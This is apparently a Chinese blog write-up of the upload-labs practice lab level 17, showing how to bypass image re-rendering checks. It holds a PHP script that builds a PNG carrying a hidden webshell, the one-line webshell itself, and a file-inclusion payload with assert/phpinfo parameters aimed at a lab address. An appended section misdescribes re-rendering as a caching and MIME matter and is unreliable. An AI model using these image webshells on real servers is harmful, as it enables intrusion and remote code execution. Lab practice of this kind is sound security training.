upload-lab-17 -二次渲染绕过

这一关上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,

最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,

添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接

补充知识:

二次渲染:后端重写文件内容

basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名

strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。

imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像

imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像

imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像

这里有个小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点

GIF:

上传正常的GIF图片下载回显的图片,

用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,

上传带有PHP一句话木马的GIF图片

为了方便大家测试,这里提供一张网上某个大佬提供的GIF图片,当时我也找了很久,大家可以保存一下https://wwe.lanzoui.com/iFS

wwn53jaf

————————————————

PNG:

2.2 使用php脚本写入IDAT数据块:

1、创建一个IDAT_png.php(通过这个脚本生成一个绕过渲染的图片马):

脚本内容:

<?php$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,'./1.png');?>

构造了一个一句话木马 长这样:

<?=$_GET[0]($_POST[1]);?>

测试探针要传递的参数:

get传参0=assert 加上 post传参1=phpinfo();

这里还利用了文件包含

最后构造的pauload:

///http://192.168.48.110/upload-labs-master/include.php

?file=upload/12648.png & 0=assert

post参数: 1=phpinfo();

连接蚁剑传递参数:

get传参0=assert 加上 密码 = 1

///http://192.168.48.110/upload-labs-master/include.php?file=upload/12648.png & 0=assert

JPEG:

成功不了 摆了摆了 看别的啦s

### Upload-Labs中的二次渲染问题及其解决方案 在处理Upload-Labs项目时,遇到的二次渲染问题主要涉及文件上传后的预览功能。当用户上传图片或其他类型的文件后,在页面上显示这些文件的过程中可能会出现问题[^1]。 #### 什么是二次渲染二次渲染指的是服务器端接收到客户端提交的数据并保存到临时位置之后,再次读取该数据发送回前端浏览器的过程。在这个过程中如果处理不当,则可能导致安全漏洞或者功能性错误的发生。 #### 常见原因分析: - **MIME类型检测不严格**:某些情况下,攻击者可以绕过初步的内容验证机制,使得恶意脚本被当作正常资源加载执行。 - **缓存策略失误**:如果不恰当地设置了HTTP响应头字段(例如`Cache-Control`, `Expires`),则可能造成旧版本文件未及时更新而继续展示给访问者查看。 - **路径遍历风险**:允许任意指定存储目录结构的情况下容易引发越权操作,即未经授权便能获取敏感资料甚至控制系统行为。 针对上述提到的安全隐患以及潜在的功能缺陷,以下是几种有效的解决办法: ```php // MIME 类型白名单过滤 $allowed_mime_types = ['image/jpeg', 'image/png']; if (!in_array(mime_content_type($_FILES['file']['tmp_name']), $allowed_mime_types)) { die('Invalid file type'); } // 文件名重命名防止覆盖已有文件 $new_filename = uniqid() . '.' . pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION); move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $new_filename); // 设置合适的 HTTP 头来控制缓存 header("Content-Type: image/jpeg"); header("Cache-Control: no-store, no-cache, must-revalidate"); readfile("uploads/$new_filename"); ``` 通过实施严格的输入校验措施、合理规划文件系统的布局设计再加上恰当运用Web协议特性,可以在很大程度上规避由二次渲染带来的各种麻烦。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值